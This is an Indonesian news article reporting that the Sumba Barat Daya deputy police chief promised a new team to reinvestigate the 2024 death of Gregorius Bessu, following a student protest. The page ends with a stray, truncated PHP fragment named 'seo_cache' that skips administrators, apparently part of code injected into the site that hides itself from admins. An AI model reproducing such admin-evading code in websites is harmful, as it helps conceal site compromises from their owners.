Hukum

Wakapolres SBD Janji Bentuk Tim Baru untuk Ungkap Kasus Kematian Gregorius Bessu

×

Wakapolres SBD Janji Bentuk Tim Baru untuk Ungkap Kasus Kematian Gregorius Bessu

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Wakapolres Sumba Barat Daya (SBD), Kompol Marthin Ardjon, SH menegaskan komitmen jajarannya untuk kembali mengusut dan mengungkap kasus kematian Gregorius Bessu yang terjadi pada tahun 2024.

Pernyataan tersebut disampaikan usai menerima dan mendengarkan orasi aksi demonstrasi yang dilakukan PMKRI Santo Agustinus Cabang Tambolaka bersama keluarga korban.

Dalam keterangannya, Wakapolres menyampaikan apresiasi kepada mahasiswa yang dinilai menjalankan fungsi kontrol sosial dalam mengawal penegakan hukum di wilayah Polres Sumba Barat Daya.

“Kami memberikan penghargaan setinggi-tingginya kepada rekan-rekan mahasiswa yang telah menjalankan fungsi kontrol dalam mengawal keadilan di wilayah hukum Polres Sumba Barat Daya,” ujar Kompol Marthin.

Ia menegaskan, pergantian pimpinan di institusi kepolisian tidak boleh menjadi alasan terhambatnya proses hukum.

“Pergantian pimpinan dalam organisasi adalah hal biasa, tetapi bukan berarti menghentikan proses hukum. Penanganan hukum merupakan proses estafet yang harus terus berjalan,” katanya.

Kompol Marthin juga menyatakan pihaknya akan membentuk tim baru guna mengevaluasi sekaligus menelusuri kembali berbagai kendala dalam penanganan perkara tersebut.

“Kami bertekad membongkar dan membedah kembali kasus ini. Kami akan membentuk tim baru untuk mencari tahu kendala-kendala yang terjadi selama proses penanganan,” ujarnya.

Selain itu, Polres SBD berkomitmen membuka ruang komunikasi dengan mahasiswa, keluarga korban, dan masyarakat melalui forum audiensi berkala guna menyampaikan perkembangan penanganan kasus.

Kasatreskrim Polres SBD, IPTU Yakobus K. Sanam, SH saat menyampaikan penjelasan kepada demonstran. ( Foto Menara Sumba )

Ia juga mengajak masyarakat yang memiliki informasi tambahan terkait perkara tersebut agar menyampaikan langsung kepada pihak kepolisian.

“Kami terbuka selama 24 jam bagi siapa saja yang memiliki informasi yang dapat membantu membuat terang peristiwa pidana ini,” tambahnya.

Wakapolres mengakui dirinya baru menjabat kurang dari tiga bulan di wilayah tersebut, namun menegaskan hal itu bukan alasan untuk menghentikan upaya pengungkapan kasus.

Akan Diusut Serius

Sementara itu, Kasatreskrim Polres SBD, IPTU Yakobus K. Sanam, SH menyampaikan bahwa pihaknya menaruh perhatian serius terhadap tuntutan mahasiswa terkait pengungkapan kasus tersebut.

Ia menyatakan akan memimpin tim penyelidikan dan berupaya maksimal mengungkap perkara yang telah berlangsung sejak 2024.

“Kami akan bekerja keras melakukan penyelidikan dan pengungkapan kasus ini. Kami membutuhkan dukungan serta kerja sama dari semua pihak, termasuk mahasiswa, media, dan keluarga korban,” katanya.

Kasatreskrim juga meminta keluarga korban untuk tidak takut memberikan informasi apabila mengetahui fakta atau mengalami intimidasi.

“Jika ada hal-hal yang mengancam atau informasi penting yang berkaitan dengan kasus ini, silakan disampaikan kepada kami agar dapat ditindaklanjuti,” ujarnya.

Menurutnya, keterangan dari keluarga korban akan menjadi bagian penting dalam membantu proses penyelidikan.

Ia menambahkan bahwa secara pribadi dirinya turut merasa prihatin atas peristiwa tersebut dan berkomitmen menjalankan proses hukum secara profesional.

“Kami mohon dukungan dan doa agar proses pengungkapan kasus ini dapat berjalan dengan baik,” tutupnya. ( TIM/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>